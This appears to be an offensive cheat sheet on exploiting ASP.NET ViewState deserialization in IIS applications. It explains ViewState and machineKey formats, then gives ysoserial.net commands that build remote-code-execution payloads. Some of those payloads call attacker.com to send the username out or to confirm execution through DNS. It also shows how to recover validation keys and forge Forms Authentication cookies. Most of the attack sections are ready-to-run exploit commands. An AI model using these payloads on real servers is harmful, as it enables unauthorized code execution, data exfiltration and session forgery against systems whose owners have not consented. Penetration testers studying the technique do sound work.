## Viewstate Format
|
|
|
|
ViewState in IIS is a technique used to retain the state of web controls between postbacks in ASP.NET applications. It stores data in a hidden field on the page, allowing the page to maintain user input and other state information.
|
|
|
|
| Format | Properties |
|
|
| --- | --- |
|
|
| Base64 | `EnableViewStateMac=False`, `ViewStateEncryptionMode=False` |
|
|
| Base64 + MAC | `EnableViewStateMac=True` |
|
|
| Base64 + Encrypted | `ViewStateEncryptionMode=True` |
|
|
|
|
By default until Sept 2014, the `enableViewStateMac` property was to set to `False`.
|
|
Usually unencrypted viewstate are starting with the string `/wEP`.
|
|
|
|
|
|
## Machine Key Format And Locations
|
|
|
|
A machineKey in IIS is a configuration element in ASP.NET that specifies cryptographic keys and algorithms used for encrypting and validating data, such as view state and forms authentication tokens. It ensures consistency and security across web applications, especially in web farm environments.
|
|
|
|
The format of a machineKey is the following.
|
|
|
|
```xml
|
|
<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 (default) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto (default) | DES | 3DES | AES | alg:algorithm_name]" />
|
|
```
|
|
|
|
The `validationKey` attribute specifies a hexadecimal string used to validate data, ensuring it hasn't been tampered with.
|
|
|
|
The `decryptionKey` attribute provides a hexadecimal string used to encrypt and decrypt sensitive data.
|
|
|
|
The `validation` attribute defines the algorithm used for data validation, with options like SHA1, MD5, 3DES, AES, and HMACSHA256, among others.
|
|
|
|
The `decryption` attribute specifies the encryption algorithm, with options like Auto, DES, 3DES, and AES, or you can specify a custom algorithm using alg:algorithm_name.
|
|
|
|
The following example of a machineKey is from Microsoft documentation (https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication).
|
|
|
|
```xml
|
|
<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
|
|
```
|
|
|
|

## Decode ViewState
|
|
|
|
* [BApp Store > ViewState Editor](https://portswigger.net/bappstore/ba17d9fb487448b48368c22cb70048dc) - ViewState Editor is an extension that allows you to view and edit the structure and contents of V1.1 and V2.0 ASP view state data.
|
|
* [0xacb/viewgen](https://github.com/0xacb/viewgen)
|
|
```powershell
|
|
$ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
|
|
```
|
|
|
|
|
|
## Generate ViewState For RCE
|
|
|
|
First you need to decode the Viewstate to know if the MAC and the encryption are enabled.
|
|
|
|
**Requirements**
|
|
|
|
* `__VIEWSTATE`
|
|
* `__VIEWSTATEGENERATOR`
|
|
|
|
|
|
### MAC Is Not Enabled
|
|
|
|
```ps1
|
|
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName"
|
|
```
|
|
|
|
|
|
### MAC Is Enabled And Encryption Is Disabled
|
|
|
|
* Find the machine key (validationkey) using `badsecrets`, `viewstalker`, `AspDotNetWrapper.exe` or `viewgen`
|
|
```ps1
|
|
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy
|
|
# --modifier = `__VIEWSTATEGENERATOR` parameter value
|
|
# --encrypteddata = `__VIEWSTATE` parameter value of the target application
|
|
```
|
|
|
|
* Then generate a ViewState using [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net), both `TextFormattingRunProperties` and `TypeConfuseDelegate` gadgets can be used.
|
|
```ps1
|
|
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
|
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell.exe -c nslookup http://attacker.com" --generator=3E92B2D6 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
|
|
|
# --generator = `__VIEWSTATEGENERATOR` parameter value
|
|
# --validationkey = validation key from the previous command
|
|
```
|
|
|
|
|
|
### MAC Is Enabled And Encryption Is Enabled
|
|
|
|
Default validation algorithm is `HMACSHA256` and the default decryption algorithm is `AES`.
|
|
|
|
If the `__VIEWSTATEGENERATOR` is missing but the application uses .NET Framework version 4.0 or below, you can use the root of the app (e.g: `--apppath="/testaspx/"`).
|
|
|
|
* **.NET Framework < 4.5**, ASP.NET always accepts an unencrypted `__VIEWSTATE` if you remove the `__VIEWSTATEENCRYPTED` parameter from the request
|
|
```ps1
|
|
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
|
|
```
|
|
|
|
* **.NET Framework > 4.5**, the machineKey has the property: `compatibilityMode="Framework45"`
|
|
```ps1
|
|
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
|
|
```
|
|
|
|
|
|
## Edit Cookies With The Machine Key
|
|
|
|
If you have the `machineKey` but the viewstate is disabled.
|
|
|
|
ASP.net Forms Authentication Cookies : https://github.com/liquidsec/aspnetCryptTools
|
|
|
|
```powershell
|
|
# decrypt cookie
|
|
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes
|
|
|
|
# encrypt cookie (edit Decrypted.txt)
|
|
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
|
|
```
